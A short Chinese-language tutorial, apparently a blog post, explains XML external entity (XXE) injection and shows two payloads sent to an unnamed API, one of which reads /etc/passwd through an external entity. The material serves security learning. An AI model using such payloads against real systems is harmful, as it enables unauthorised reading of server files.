XXE 外部实体注入漏洞

简介: XXE 外部实体注入漏洞

XXE -"xml external entity injection"既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

实战

XXE漏洞挖掘

1.xml是什么可以查看https://www.w3school.com.cn/x.asp网站哈,里面写的很详细,全栈攻城狮必备网站,基础就不过多介绍了,因为实在太多了,一篇文章写不下。

2.直接实战如何挖掘,这里有一个api接口,随便提交点啥。没反应,哈哈习惯了,直接跳过哈。

image.png

3.构造一个payload,直接输入即可,发现可以执行

<?xml version = "1.0"?><!DOCTYPE note [<!ENTITY hacker "ESHLkangi">]><name>&hacker;</name>
AI 代码解读

image.png

4.再次构造一个payload来读取任意文件,可以直接读取成功。

<?xml version="1.0"  encoding="UTF-8"?><!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><name>&xxe;</name>
AI 代码解读

image.png

5.总结,各位如果想要搭建测试环境建议使用下面文章中的方法,其他方法试了很多都无法复现该漏洞。

目录
打赏
0
0
0
0
2
分享
相关文章
网络安全-XXE(XML外部实体注入)原理、攻击及防御
网络安全-XXE(XML外部实体注入)原理、攻击及防御
570 0
网络安全-XXE(XML外部实体注入)原理、攻击及防御
关于SSTI模块注入的常见绕过方法
关于SSTI模块注入的常见绕过方法
365 0
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(下)
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(下)
304 0
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(下)
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(上)
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(上)
311 0
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(上)
命令注入绕过方式总结
前言 命令注入是web中常见的漏洞之一,由于web应用程序未对用户提交的数据做严格的过滤,导致用户输入可以直接被linux或windows系统当成命令执行,一般都会造成严重的危害。
664 0
XML实体注入漏洞
XML实体注入漏洞    测试代码1:新建xmlget.php,复制下面代码 漏洞测试利用方式1:有回显,直接读取文件 ]> &xxe; LINUX:  http://192.168.106.154/xml/example1.php?xml=&name; 读取passwd文件,需URL编码后执行。
1188 0
|
8月前
|
命令注入攻击
【8月更文挑战第17天】
293 2

物联网

+关注